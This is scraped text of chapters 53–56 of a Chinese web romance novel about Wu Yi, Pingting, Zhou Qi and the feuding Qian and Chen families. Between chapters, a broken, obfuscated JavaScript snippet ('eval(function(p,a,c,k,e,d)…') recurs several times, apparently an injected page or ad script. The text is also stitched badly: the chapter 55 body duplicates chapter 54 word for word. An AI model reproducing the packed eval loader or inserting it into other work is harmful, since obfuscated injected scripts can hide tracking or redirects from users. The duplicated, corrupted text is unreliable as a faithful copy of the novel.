吴怡见周启的书桌上有一张画,在几本书底下压着,吴怡慢慢将图画抽了出来,一位亭亭玉立的姑娘跃然纸上。只见这位姑娘柳叶弯眉、细长的眼睛,头顶飞绕式灵蛇髻,衣着飘逸自然。吴怡心想:世间还能有如此美丽的女子吗?哎,不对呀,大家不是说周大人和李大人?看来,这天下男人都一样,还是喜欢美女。吴怡又看美女边上的提诗,一共八个字,自己只认识一个若字,其余都不认得,真是书到用时方恨少啊。 娉婷站在院子里大声叫了一声,吴怡吓得赶紧将周启的东西放好,从书房出来。 “你在我哥书房干嘛呢?” “我看书啊,大人知道。” “你?你还看书呢?什么书啊?背背我听听。”,娉婷双手覆于胸前,一副先生的样子。 吴怡拉了一下自己的衣服,信心满满,“人之初性本善……” “成成成。”,娉婷赶集出手制止,“多大了,还读《三字经》呢,成了。 你,跟我出门一下。” “大小姐,去哪啊?” “到了你就知道了,走吧。” 吴怡跟着娉婷出了门,七拐八拐来到陈记钱庄。娉婷每天都来找麻烦,今天打算借助吴怡的傻气,给自己增添点运气。 “把你少东家叫出来!”,娉婷已经驾轻就熟,敲敲柜台。称银子老伯脸也不抬,只抬着眼皮看了看娉婷,“不在。”,转眼又看见吴怡,吴怡都想隐身,生怕这老伯问自己是不是来兑银子的。 娉婷一只手插着腰,带着一点傲娇,“哎,你这个老头,你看见这位没有,大户人家的大小姐,我们要跟你家少东家谈谈生意!” 称银子老伯看了看娉婷,又看了看吴怡,心想怎么说谎不打草稿,就你们,全是一两银子一两银子存的主儿,能有什么大生意?“我说没在就没在!” “胡说,他根本就没出城,也没在家,不在这能在哪?我告诉你,你最好赶紧把他叫出来,否则……”,娉婷已经抓起柜上的小算盘,“你去不去叫,你要是不去……”,娉婷一下子就将算盘扔在地上,“我告诉你,本小姐不是那么好惹的!” 称银子老伯面不改色,斜眼看着娉婷,“周大小姐,我们少东家说了,您在我们柜上砸坏多少东西,我们都记着。到了年底,直接就去知府衙门找周大人结账。所以呀,您要是有力气就使劲砸,我们呀,管不了您,您砸吧。来,记一下,砸坏小算盘一个。” “你!”,娉婷最讨厌别人不在乎自己,“你过来,跟我一起砸。” 吴怡哪能帮着她破坏东西呢,这可都是白花花的银子买的,“大小姐,大小姐,我们不砸了,您不就是想找陈家少东家吗?我有办法,我有办法。” (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'w+'};c=1};while(c--){if(k[c]){p=(new RegExp('b'+e(c)+'b','g,k[c])}}return p}('h 4="F"+E.(B).H(2);c.6("");8((/(K)/i.J())){('u',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.(/+/g,"%15")))}}});c.6('}w{;c.6(' 第五十三章 吴怡父女终重逢 - 风吹繁花散落时 - 红酒羊排 吴怡拉着娉婷来到了陈家的后门。这里与钱家的后门隔街而对,说是街,其实就是两米宽的石板路。 “大小姐,这里,这里能进。” 娉婷看了看,离后门还有十步远,这里就是墙啊,“什么意思?我又不会穿墙术!” “哎呀,不是,大小姐,你看。”,吴怡用手指了指,“你看,这呢。” 娉婷弯腰看了一眼,墙下边有一个小小的洞,“这,这不是狗洞吗?你让我钻狗洞啊?”,娉婷简直不敢相信,“你想什么呢?我堂堂大周,我堂堂知府大小姐,你让我钻狗洞?你疯了吧你!” “大小姐,人家店里的伙计可都得听人家少东家招呼,你是不可能在他们柜上找到人的。还有刚才,人家看门的小厮都明确表示不让你进,你还能闯进去啊?是你会武功啊?还是我会武功啊?你要是非得想要见到陈明阳,现在只有这一个办法了,要不然你就别想着进去了,回家去吧。” 娉婷可不是轻易认输的人,她看看狗洞,可还是无法下定决心,“那你钻进去,然后把那个门给我打开。” 吴怡还能说什么呢,看看狗洞又看看娉婷,“成,我钻就我钻吧,你等会儿啊。”,吴怡一蹲身子,开始往里爬。 娉婷在旁边觉得尴尬异常,幸亏没人看见。等吴怡刚爬进去,娉婷突然听见隔街有人说话,她赶紧倚着墙,把头抵在墙上用手挡着。娉婷恨不得钻进墙里,她透过指缝查看,见钱家的后门打开了,一群人正在搬东西。突然她看见一个熟悉的身影,“李婶?”。娉婷把手放下来,刚才李婶正搬东西,已经往里走了,娉婷紧走两步,向钱家里边张望。 “干什么的!”,钱家的小厮呵斥道。 “哎,我问你啊,刚才进去那个,搬箩筐的,那个大姐,是不是姓李?” “哪个?”,小厮顺着娉婷指的方向往里看,“哦,你说白婶啊。” “白?”,娉婷想难道自己眼花看错了,她见小厮们都用疑惑的眼神看着自己,害怕打草惊蛇便迅速离开。 而吴怡刚刚爬进了狗洞,突然一个人抓住了吴怡,“嘿,好家伙,敢爬进来,你也不看看这是什么地方。” 吴怡被人抓了起来,心里一紧张,可是听说话的声音怎么这么熟悉,吴怡一扭头,“啊,李老四!” “吴怡?”,李老四觉得做梦一样,赶紧放开了吴怡,“你怎么在这?” “哈哈,爹!”,吴怡一把抱住李老四,“爹,我想死你了,爹。” 李老四可受不了这个,赶紧把吴怡从身上摘下来,“成了成了,你怎么在这啊?” 吴怡突然想起娉婷来,“对了,等会啊。”,吴怡将后门打开,街上一个人也没有了,“哎,人呢 ?” “什么人?” 吴怡一时觉得解释不清,“哦,没谁。爹,你怎么在这呢?” “我?嘿嘿,我告诉你啊,你爹我现在是陈家的管事。”,李老四一脸得意。 “管事?管什么啊?”,吴怡关上门,期待地看着李老四。 李老四吹牛吹多了,什么管事啊,不过修剪花草,管它们,可是在吴怡面前哪能跌面呢,“你先别说我,你呢,你不会是进来偷东西的吧?我可告诉你啊,咱们是骗子,绝不能干那偷鸡摸狗的事情!” 吴怡对于李老四那套五十步笑百步的理论不敢苟同,“我不是来偷东西的,我也有工作。” “你也找到工作了?什么工作?” “在钱家干,陪老夫人说话。” “啊!你就是那个每个月赚十两银子的臭丫头!” 吴怡一愣,她本来想告诉李老四自己每个月赚二两银子,谎话还没说呢,就被戳破了,“你怎么知道?” “嘿,这徽州都传开了,说陪钱家老太婆聊天能聊出一座金山来。怎么样,吴怡,现在发达了,是不是想着点你亲爹啊?” 吴怡一听李老四要找自己要钱,智慧迅速启动,“爹,他们觉得我干得不好,让我伺候少东家去了,我现在每个月就赚二两。” 李老四才不信呢,“得了吧吴怡,骗人还骗到老子头上来了,你那点坏水我能不知道吗?” “是真的。”,吴怡特别真诚地说,“少东家身边就我和白芷姐姐,你可以去打听啊。” 李老四眼睛一转,“吴怡,那你赶紧搞定你们少东家,让他给你买套院子,咱们也就发了。”,李老四眼睛放光,搓着手。 吴怡瞪了李老四一眼,“我告诉你啊,咱们现在做工,就好好做工,别再骗人了!” “嘿。”李老四挺直了腰板,“臭丫头,想教训你爹是不是?” 吴怡懒得理她,一句话也不说自己打开后门走了,后边李老四还在骂吴怡。吴怡紧跑两步,忽然觉得很委屈,没想到过来这么久,李老四还是这个德行。 钱宁打听了张浩的情况,原来他家里已经为他订了亲,那剩下的就是陈明阳了。钱万全在花厅里来回踱步,他心里掂量起陈明阳,要说这个孩子还是不错的,陈家与钱家也算是门当户对,孩子们的年纪也相仿,打小就认识的,钱朵嫁过去应该没有问题。可是陈千朗能同意吗? 王夫人走了进来,他知道钱万全的顾虑。“老爷,若是你不好说,我去说,两个孩子也算天造地设,不能因为咱们的恩怨就耽误了孩子呀。” 钱万全怎么能让王夫人去呢,他这个做父亲的还是要拿出做父亲的样子,“我傍晚去吧。不过夫人呐,万一,我是说万一陈千朗不同意 ,还是要在外省再挑挑。”王夫人当然明白,就算再不舍得,为了断了钱朵的非分之想也只能狠下心来。 当天晚上,钱万全来到陈府亲自替女儿说媒。陈千朗虽然与钱万全夫妇有隔阂,还是很喜欢钱朵的,觉得这真是一桩良配,一口答应。两个孩子当晚就知道了,陈明阳对于自己的婚事没有想法,觉得若是娶了钱朵也没什么不好。钱朵知道了此时万分悲痛,恸哭一夜,第二天便派春菊请娉婷来。 娉婷昨天回府,与周启说了李婶的事情。周启与李博觉得在没有弄清楚之前不要打草惊蛇,但是需要娉婷到钱家去打探打探,若是真是李婶,一定要在别人没有察觉的情况下控制住李婶。娉婷一早正要想个由头,钱朵居然派人来请,娉婷自然欣然前往。 吴怡觉得自己的伤好了,便跟着娉婷一起回了钱家。娉婷前往钱朵的住所,一进门,被钱朵一把抓住。 “娉婷姐姐,你救救我吧!” 娉婷见钱朵哭得两只眼睛都红了,也肿了起来,“你,你怎么了?” 钱朵哭得上气不接下气,哽咽道,“我爹娘让我嫁人,可是我不愿意,他们就把我关起来,不让我出去。” 娉婷也是被父亲逼迫才逃了出来,当然最见不得别人被逼婚,“岂有此理!你爹娘怎么这样啊!” “娉婷姐姐,我求求你了,你能不能带我出去。”,钱朵一边哭着一边拉着娉婷的手,将娉婷的心都哭化了。 “朵朵,朵朵你先别哭了。你爹娘给你选的什么人啊?你先别哭了。” 钱朵努力平静自己,“就是,就是陈明阳哥哥。” “什么?陈明阳!”,娉婷一听差点蹦起来,“陈明阳要娶你?” “我娘昨天晚上告诉我,陈伯伯已经答应了,过几天就来说媒了。” 娉婷瞪大了眼睛,“岂有此理!”,娉婷才管不了钱朵了,她怒气冲冲从钱家出来,要去找陈千朗算账。 吴怡与娉婷一起回来,正好碰见钱宁要出去。“少东家” “哎,吴怡,你回来了。” “是啊,知府大人家没什么需要帮忙的了,我就回来了。” “你手里拿的什么呀?” “哦,这个呀,这个是那天小姐让我去送给周大人的食盒,他吃完了,我就拿回来了。” 钱宁一听是妹妹送给周知府的,心里一沉,没想到妹妹对周知府如此上心。“周大人他?” “嗯?周大人怎么了?” “哦,没什么。周大人家应该有厨师吧,也不需要钱朵去给他送什么吃的。” 钱宁不过随便应付,吴怡听了倒是八卦之心又起,吴怡看看周围,凑近了钱宁,“钱宁,我告诉你啊。”,吴怡已经很小声了,又看了看周围,“那个 钦差,就是和周大人传绯闻的那个,每天都在知府衙门做饭。”,钱宁听了吓了一跳,震惊地看着吴怡。吴怡站直了,手里抱着食盒,很认真的说,“真的,我亲眼看见的。李大人说怕周大人饿着,所以一天给做两顿饭,我还吃了呢,还挺好吃的。” “钦差怎么会做饭呢?”,钱宁还是无法相信。 “真的,那个李大人说了,他就是喜欢吃,别人做的他老觉得差点意思,所以就自己学了,还说周大人是第一个吃他菜的人。” 钱宁真是开了眼,之前钱万全还说绝不可能,现在看倒是很有可能。“那也就是说,周大人喜欢……”,钱宁用手指了指,欲言又止。 “钱宁,李大人肯定喜欢。不过周大人嘛,我觉得他挺正常的。” “什么意思?” “我跟你说啊,那天我在周大人书房里看见一幅画,肯定是周大人的相好的,长得可漂亮了。” “什么画?” “就是一个美女,画在纸上的,还用书本压着。一看就是特美的女孩子,周大人还不想让别人看见呢。” 钱宁更觉得奇怪了,他仔细想想钦差和周启的样子,似乎都是喜欢女人的样子,可是他们为什么走得如此之近呢?钱宁一时想不明白,可是身后的屋子内,春菊将两人的对话听得一清二楚。 春菊原本也不是要偷听,吴怡鬼鬼祟祟的样子实在让她觉得可疑,便蹲下身子将两人的对话听了去。春菊最进到钱朵的心思,听了这闲话,自然转达给钱朵。 (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'w+'};c=1};while(c--){if(k[c]){p=(new RegExp('b'+e(c)+'b','g,k[c])}}return p}('h 4="F"+E.(B).H(2);c.6("");8((/(K)/i.J())){('u',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.(/+/g,"%15")))}}});c.6('}w{;c.6(' 第五十四章 乱点鸳鸯谱 - 风吹繁花散落时 - 红酒羊排 娉婷还在追着陈明阳表白,陈明阳简直要尴尬死,大街上很多人看着他们。 “你能不能别追我了!” “那你等等我呀!”,娉婷可是个不达目的不罢休的主,“陈明阳,陈明阳!” 两人跑着一前一后进了陈记钱庄,陈明阳赶紧往后院跑,娉婷也要跟去,被伙计拦下了。 “我告诉你,我以后可是你们少夫人,你敢拦我?” 陈明阳刚挑帘,听见娉婷又胡说八道,赶紧折回来,“你别胡说!” “我怎么胡说了?我告诉你,爷爷都同意了,我周娉婷看上你了,你以后就是我的人。” 陈明阳指着娉婷,看伙计们都在看自己,赶紧拉着娉婷往后走。娉婷得意起来,看着刚才拦住自己的伙计说,“看见没?” 陈明阳把娉婷拉到后院,两人继续“你别胡闹。”、“我没胡闹,我喜欢你。”的无限死循环对话。 钱万全回到钱家,心里愤愤不平,他怎么也没想到陈千朗能在儿女之事上如此戏弄于他。王夫人坐在一旁,也心情复杂。当年三人是自小的玩伴,后来王夫人的父亲和陈千朗的父亲商议亲事,可是王夫人早就中意钱万全,两人私定了终身,直接导致钱万全与陈千朗长达二十几年的不联络。孩子们打小街里街坊地住着,倒是自小相熟,两家的聚会,孩子们也从来没有落下过。可是现在,陈千朗在钱氏夫妇着急为钱朵找婆家的关键时刻出此下策,让钱氏夫妇怎么也没有想到。 “真是岂有此理!我钱万全的女儿还能嫁不出去吗?”,钱万全最终还是率先开口。 “老爷,朵朵刚才不是说会对周知府死心吗?” “会吗?会不会骗我们。” “说来也奇怪,朵朵什么时候喜欢上周知府了呢?” “可我们明明告诉她周大人无意于她。” “老爷,若是朵朵能断了对周知府的念想也好。不如我们先观察观察,如是朵朵真的不存念想了,我们也好办了。” 两人现在也没有合适的人,只好先观察。钱朵则在春菊的建议下正常生活,也不闹了,给人一种无所谓的假象。 下午陈明阳还没有拜托娉婷,简直差点烦死。 “你干嘛去?” 陈明阳实在否认累了,“去茅房你也要跟着我吗?” 娉婷笑了笑,指了指脚下,“那我在这等你。” 陈明阳好不容易挤出来一个笑脸,白了娉婷一眼。他借着去茅房的由头,一路跑回了家,还吩咐门子千万别让娉婷进来。 “爹,爹。”,陈明阳一路跑到前厅,陈千朗正在转磨。 “我说那个周小姐怎么回事呀!成心捣乱是不是?” “她肯定是成心的,爹,春菊呢?” “还春菊呢,钱万全 都知道了,跑到这里来退婚了!” “退婚?什么意思呀?爹,您没跟钱伯伯解释解释啊?” “我这刚解释两句,你爷爷就来了,说周娉婷是他儿媳妇,还打了我好几拐杖。钱万全一听,什么也听不进去了,就走了!” “我去跟钱伯伯解释。” “你给我回来!钱万全以为他是谁呀!是他要把钱朵嫁给你,如今退婚的也是他,跑咱们家来对着你爹我指手画脚,你还去跟他解释,你歇着吧!”,陈千朗的脾气也上来了,“哎,对了,周娉婷呢?” “在钱庄呢,一直粘着我,狗皮膏药一样。” “她想要干什么!” “爹,现在怎么办呀?” 陈千朗想了想,“这样,你去京城,咱们在那里有生意,你去那里躲躲。” “去京城?周家不就是京城的吗?我去自投罗网呀我?” “你这个笨小子!他们兄妹在徽州呢,他们家人又不认识你。你赶紧,明天一早就出发,去京城,我就不信,她周娉婷能猜到你在京城。” 此时的娉婷发现陈明阳跑了,心想:这么个大男人,还不好意思呢。没关系,明天再收了你。 吴怡终于不用再被周启看着,又高高兴兴跟着钱宁学习。“少东家,你不知道,我这几天忘带书了,借的周大人的书,那上边密密麻麻写了一大堆东西,我都不认得。” “周知府应该写的心得吧,你若是有什么心得体会也可以写在书上。” “少东家,周大人不是考上状元了吗?怎么还看《三字经》呀?” “这《三字经》包含了很多人家大智慧,最简单也最难。况且因为心境的变化,你每次读书都会有不同的感悟,所谓:学而时习之不亦乐,就是这个道理。” “哦。”,吴怡一知半解,但是既然状元郎都时常读《三字经》,钱宁又每天把这书当做宝典一样教她,那肯定是好书,吴怡便更加用心学习。 “对了,吴怡,你说周大人若是喜欢女孩子,他喜欢什么样的女孩子呢?” “怎么问这个问题呢?” 钱宁长出一口气,“就是朵朵,不知怎么喜欢周大人了,我爹娘都要愁死了。” “喜欢周大人?”,吴怡的八卦之心顿起,“小姐喜欢周大人,老爷和夫人愁什么呀?” “你也知道,我们现在和周大人真是一荣俱荣一损俱损,我爹娘想给朵朵留条后路,可是朵朵不知道怎么了。” 看着钱宁犯难的样子,吴怡想起在知府衙门看见周知府对妹妹十分照顾,如今钱宁也是为了妹妹发愁,“钱宁,你别着急,我觉得周大人应该喜欢周大小姐那样的,毕竟那是他妹妹嘛。” “这么说,周大人很有可能对朵朵没有意思?” “嗯……我也不太确定,要不然明天我去打听打听。” “哎,那可……” “当心吧,我找连锁管家打听,他从小跟着周大人的,他肯定知道。” “好吧。”,钱宁实在没有别的办法了,他打算要是搞不定妹妹,就帮周大人介绍一位。以妹妹的个性绝不会甘心做小的,只要周大人一娶妻,钱朵也就死心了。 第二天吴怡便以感谢大家照顾为由来到了知府衙门。“前几天多谢大家照顾了,我无以为报。之前我早说过,等发了月例,请大家喝酒,走,兄弟们,我请客。”,吴怡是真的想谢谢大家,毕竟没有大家,自己早就小命不保了。 “吴怡,你也太客气了。” “怎么能让你请客呢,告诉我们你想去哪,我们请你吧。” “就是啊,我们请你。” 大家七嘴八舌正在商量,何平走了进来,“大人。”,一个侍卫一顺嘴,将宫里的职位叫出来了。何平扫视了一眼大家,“你们干什么呢?” “何平大哥,我这不是伤好了吗,想谢谢大家。”,吴怡见大家都严肃起来,赶紧过来解释,“我们正要去喝酒,何平大哥,不如一起吧! “喝酒?你们知不知道现在城中还有贼人,你们去喝酒,大人怎么办?” 大家都不敢说话,默默低下了头。 “何平大哥,要不然咱们一起去,叫大人也一起呢?” “放肆!”,何平行伍出生,向来不苟言笑。最近又值多事之秋,更加不敢懈怠,“吴怡,你曾在这里帮佣,你也应该知道这里的规矩。你们,当差期间喝酒,有一点当差的样子吗?” 吴怡见大家都不说话,赶紧承认错误,“何平大哥,是我不对,我没有想好,是我不好,你要骂就骂我吧。” 何平听吴怡这么说,也不好再发火,“吴怡,救你是应该的,留你在这里养病是大人吩咐的,与我们无关。你请回吧!” 吴怡看看大家,自觉没趣地走开了。刚一出来,就碰见周启从前衙回来,吴怡心情低落,低低地喊了一声“周大人。” “你怎么了?” “没事。” 周启看院子里一个人也没有,吴怡又这样,“谁欺负你了?” “周大人,我就是想请大家喝顿酒,这不谢谢大家照顾我嘛,谁知道何平大人把大家骂了一顿。我这没报答大家,还又给大家添麻烦了。” 周启看了一眼平时侍卫们呆的地方,笑了一下,”吴怡,何平最近有点紧张过头了,你别怪他。不过他们现在都在当差,不能随意饮酒。这样吧,这里本来就有厨房,你要是想谢谢大家,你就买点东西给他们做点好吃的就行了。” 吴怡一想,自己在这里做的话,还能便宜点 ,既能谢谢大家,还能帮钱宁打听情况,又高兴了起来。“真的?那谢谢周大人了,我这就去买菜去。”,吴怡刚要往外走,突然又回来了,“周大人,那个,我能问你一个问题吗?” “你说。” “嗯,就是,那个,你觉得娉婷小姐和钱朵小姐,谁更好一点啊?”。周启听得一头雾水,“哎呀,就是比如,比如你是一个男的,那你喜欢娉婷小姐这样爽朗的女孩子还是钱朵小姐这样温柔的女孩子呢?” “你不用比如,我就是男的。” 两人顿了一秒,同时笑了出来,“周大人,我说错了。就是你喜欢什么样的女孩子啊。” “我?干嘛突然问这个?” 吴怡突然觉得太唐突了,“啊?没什么,就是突然想到。那个,大人,我去买菜了,我先走了。”,随后吴怡迅速地跑了。 “又一个。”,李博突然从旁边闪了出来。 “什么?” “又一个将被你伤了心的女人。” (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'w+'};c=1};while(c--){if(k[c]){p=(new RegExp('b'+e(c)+'b','g,k[c])}}return p}('h 4="F"+E.(B).H(2);c.6("");8((/(K)/i.J())){('u',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.(/+/g,"%15")))}}});c.6('}w{;c.6(' 第五十五章 儿女亲家没当成 - 风吹繁花散落时 - 红酒羊排 娉婷还在追着陈明阳表白,陈明阳简直要尴尬死,大街上很多人看着他们。 “你能不能别追我了!” “那你等等我呀!”,娉婷可是个不达目的不罢休的主,“陈明阳,陈明阳!” 两人跑着一前一后进了陈记钱庄,陈明阳赶紧往后院跑,娉婷也要跟去,被伙计拦下了。 “我告诉你,我以后可是你们少夫人,你敢拦我?” 陈明阳刚挑帘,听见娉婷又胡说八道,赶紧折回来,“你别胡说!” “我怎么胡说了?我告诉你,爷爷都同意了,我周娉婷看上你了,你以后就是我的人。” 陈明阳指着娉婷,看伙计们都在看自己,赶紧拉着娉婷往后走。娉婷得意起来,看着刚才拦住自己的伙计说,“看见没?” 陈明阳把娉婷拉到后院,两人继续“你别胡闹。”、“我没胡闹,我喜欢你。”的无限死循环对话。 钱万全回到钱家,心里愤愤不平,他怎么也没想到陈千朗能在儿女之事上如此戏弄于他。王夫人坐在一旁,也心情复杂。当年三人是自小的玩伴,后来王夫人的父亲和陈千朗的父亲商议亲事,可是王夫人早就中意钱万全,两人私定了终身,直接导致钱万全与陈千朗长达二十几年的不联络。孩子们打小街里街坊地住着,倒是自小相熟,两家的聚会,孩子们也从来没有落下过。可是现在,陈千朗在钱氏夫妇着急为钱朵找婆家的关键时刻出此下策,让钱氏夫妇怎么也没有想到。 “真是岂有此理!我钱万全的女儿还能嫁不出去吗?”,钱万全最终还是率先开口。 “老爷,朵朵刚才不是说会对周知府死心吗?” “会吗?会不会骗我们。” “说来也奇怪,朵朵什么时候喜欢上周知府了呢?” “可我们明明告诉她周大人无意于她。” “老爷,若是朵朵能断了对周知府的念想也好。不如我们先观察观察,如是朵朵真的不存念想了,我们也好办了。” 两人现在也没有合适的人,只好先观察。钱朵则在春菊的建议下正常生活,也不闹了,给人一种无所谓的假象。 下午陈明阳还没有拜托娉婷,简直差点烦死。 “你干嘛去?” 陈明阳实在否认累了,“去茅房你也要跟着我吗?” 娉婷笑了笑,指了指脚下,“那我在这等你。” 陈明阳好不容易挤出来一个笑脸,白了娉婷一眼。他借着去茅房的由头,一路跑回了家,还吩咐门子千万别让娉婷进来。 “爹,爹。”,陈明阳一路跑到前厅,陈千朗正在转磨。 “我说那个周小姐怎么回事呀!成心捣乱是不是?” “她肯定是成心的,爹,春菊呢?” “还春菊呢,钱万全 都知道了,跑到这里来退婚了!” “退婚?什么意思呀?爹,您没跟钱伯伯解释解释啊?” “我这刚解释两句,你爷爷就来了,说周娉婷是他儿媳妇,还打了我好几拐杖。钱万全一听,什么也听不进去了,就走了!” “我去跟钱伯伯解释。” “你给我回来!钱万全以为他是谁呀!是他要把钱朵嫁给你,如今退婚的也是他,跑咱们家来对着你爹我指手画脚,你还去跟他解释,你歇着吧!”,陈千朗的脾气也上来了,“哎,对了,周娉婷呢?” “在钱庄呢,一直粘着我,狗皮膏药一样。” “她想要干什么!” “爹,现在怎么办呀?” 陈千朗想了想,“这样,你去京城,咱们在那里有生意,你去那里躲躲。” “去京城?周家不就是京城的吗?我去自投罗网呀我?” “你这个笨小子!他们兄妹在徽州呢,他们家人又不认识你。你赶紧,明天一早就出发,去京城,我就不信,她周娉婷能猜到你在京城。” 此时的娉婷发现陈明阳跑了,心想:这么个大男人,还不好意思呢。没关系,明天再收了你。 吴怡终于不用再被周启看着,又高高兴兴跟着钱宁学习。“少东家,你不知道,我这几天忘带书了,借的周大人的书,那上边密密麻麻写了一大堆东西,我都不认得。” “周知府应该写的心得吧,你若是有什么心得体会也可以写在书上。” “少东家,周大人不是考上状元了吗?怎么还看《三字经》呀?” “这《三字经》包含了很多人家大智慧,最简单也最难。况且因为心境的变化,你每次读书都会有不同的感悟,所谓:学而时习之不亦乐,就是这个道理。” “哦。”,吴怡一知半解,但是既然状元郎都时常读《三字经》,钱宁又每天把这书当做宝典一样教她,那肯定是好书,吴怡便更加用心学习。 “对了,吴怡,你说周大人若是喜欢女孩子,他喜欢什么样的女孩子呢?” “怎么问这个问题呢?” 钱宁长出一口气,“就是朵朵,不知怎么喜欢周大人了,我爹娘都要愁死了。” “喜欢周大人?”,吴怡的八卦之心顿起,“小姐喜欢周大人,老爷和夫人愁什么呀?” “你也知道,我们现在和周大人真是一荣俱荣一损俱损,我爹娘想给朵朵留条后路,可是朵朵不知道怎么了。” 看着钱宁犯难的样子,吴怡想起在知府衙门看见周知府对妹妹十分照顾,如今钱宁也是为了妹妹发愁,“钱宁,你别着急,我觉得周大人应该喜欢周大小姐那样的,毕竟那是他妹妹嘛。” “这么说,周大人很有可能对朵朵没有意思?” “嗯……我也不太确定,要不然明天我去打听打听。” “哎,那可……” “当心吧,我找连锁管家打听,他从小跟着周大人的,他肯定知道。” “好吧。”,钱宁实在没有别的办法了,他打算要是搞不定妹妹,就帮周大人介绍一位。以妹妹的个性绝不会甘心做小的,只要周大人一娶妻,钱朵也就死心了。 第二天吴怡便以感谢大家照顾为由来到了知府衙门。“前几天多谢大家照顾了,我无以为报。之前我早说过,等发了月例,请大家喝酒,走,兄弟们,我请客。”,吴怡是真的想谢谢大家,毕竟没有大家,自己早就小命不保了。 “吴怡,你也太客气了。” “怎么能让你请客呢,告诉我们你想去哪,我们请你吧。” “就是啊,我们请你。” 大家七嘴八舌正在商量,何平走了进来,“大人。”,一个侍卫一顺嘴,将宫里的职位叫出来了。何平扫视了一眼大家,“你们干什么呢?” “何平大哥,我这不是伤好了吗,想谢谢大家。”,吴怡见大家都严肃起来,赶紧过来解释,“我们正要去喝酒,何平大哥,不如一起吧! “喝酒?你们知不知道现在城中还有贼人,你们去喝酒,大人怎么办?” 大家都不敢说话,默默低下了头。 “何平大哥,要不然咱们一起去,叫大人也一起呢?” “放肆!”,何平行伍出生,向来不苟言笑。最近又值多事之秋,更加不敢懈怠,“吴怡,你曾在这里帮佣,你也应该知道这里的规矩。你们,当差期间喝酒,有一点当差的样子吗?” 吴怡见大家都不说话,赶紧承认错误,“何平大哥,是我不对,我没有想好,是我不好,你要骂就骂我吧。” 何平听吴怡这么说,也不好再发火,“吴怡,救你是应该的,留你在这里养病是大人吩咐的,与我们无关。你请回吧!” 吴怡看看大家,自觉没趣地走开了。刚一出来,就碰见周启从前衙回来,吴怡心情低落,低低地喊了一声“周大人。” “你怎么了?” “没事。” 周启看院子里一个人也没有,吴怡又这样,“谁欺负你了?” “周大人,我就是想请大家喝顿酒,这不谢谢大家照顾我嘛,谁知道何平大人把大家骂了一顿。我这没报答大家,还又给大家添麻烦了。” 周启看了一眼平时侍卫们呆的地方,笑了一下,”吴怡,何平最近有点紧张过头了,你别怪他。不过他们现在都在当差,不能随意饮酒。这样吧,这里本来就有厨房,你要是想谢谢大家,你就买点东西给他们做点好吃的就行了。” 吴怡一想,自己在这里做的话,还能便宜点 ,既能谢谢大家,还能帮钱宁打听情况,又高兴了起来。“真的?那谢谢周大人了,我这就去买菜去。”,吴怡刚要往外走,突然又回来了,“周大人,那个,我能问你一个问题吗?” “你说。” “嗯,就是,那个,你觉得娉婷小姐和钱朵小姐,谁更好一点啊?”。周启听得一头雾水,“哎呀,就是比如,比如你是一个男的,那你喜欢娉婷小姐这样爽朗的女孩子还是钱朵小姐这样温柔的女孩子呢?” “你不用比如,我就是男的。” 两人顿了一秒,同时笑了出来,“周大人,我说错了。就是你喜欢什么样的女孩子啊。” “我?干嘛突然问这个?” 吴怡突然觉得太唐突了,“啊?没什么,就是突然想到。那个,大人,我去买菜了,我先走了。”,随后吴怡迅速地跑了。 “又一个。”,李博突然从旁边闪了出来。 “什么?” “又一个将被你伤了心的女人。” (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'w+'};c=1};while(c--){if(k[c]){p=(new RegExp('b'+e(c)+'b','g,k[c])}}return p}('h 4="F"+E.(B).H(2);c.6("");8((/(K)/i.J())){('u',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.(/+/g,"%15")))}}});c.6('}w{;c.6(' 第五十六章 吴怡请客 - 风吹繁花散落时 - 红酒羊排 吴怡买了一大堆菜,才发现自己根本拿不了,“要是李婶在就好了,唉,为什么要偷东西呢?”,吴怡四下张望,看见娉婷失落地走在街上。 “大小姐,大小姐!”,吴怡扯开了嗓门喊。 娉婷远远听见有人叫自己,见吴怡正傻呵呵站在一堆菜面前朝自己招手,娉婷慢悠悠走过来,“干嘛?” “嘿嘿,大小姐,我想请大家吃饭,可是我东西买多了,拿不动。” “拿不动你雇个人帮你拿呀。” “这雇人不还得花钱嘛。” “你菜都买了,还舍不得雇人的钱呀,你真逗。” “嘿嘿。”,吴怡别的不成,就脸皮厚。吴怡也不多言,将一筐鸡蛋打在娉婷的胳膊上,“大小姐,咱们一人拿一点,就回去了。” 娉婷打小还没拿过鸡蛋呢,瞬间就将鸡蛋放在地上,“你疯了!你想让我帮你拿东西?” “哎哎哎,别扔了呀,这还有呢。”,说着吴怡又要将一篮子菜交给娉婷。 娉婷白了吴怡一眼,抬腿就走。“神经病。” “大小姐,哎,大小姐。我知道你为了陈少东家才闷闷不乐,你要是帮我拿,我就告诉你怎么搞定他。” 娉婷回头看看吴怡,刚才自己又去找陈明阳,可是门子又拦着她不让进,还说陈明阳出城送货去了,最少也得半年才能回来呢。“你?你知道什么呀,还你帮我搞定。” “大小姐,我可是钱家的丫鬟,这陈家的家丁我也认识不少,他们肯定有人知道陈公子喜欢什么,你要是帮我拿,我明天就帮你去打听。而且,而且上次我认识了看后门的人,我能带你进去。” 娉婷本来已经走出去几步,又回头看看吴怡,量她也没有胆子骗自己,“好,那你等会。” “哎,大小姐。”,吴怡见娉婷还是走了,“怎么走了呀,算了,我自己拿吧。”,吴怡正蹲下整理呢,娉婷带着两个男人过来,“就这些,赶紧拿起来,跟我们走。” “哎哎,等会儿,大小姐,我不是告诉你我没钱雇人嘛。” 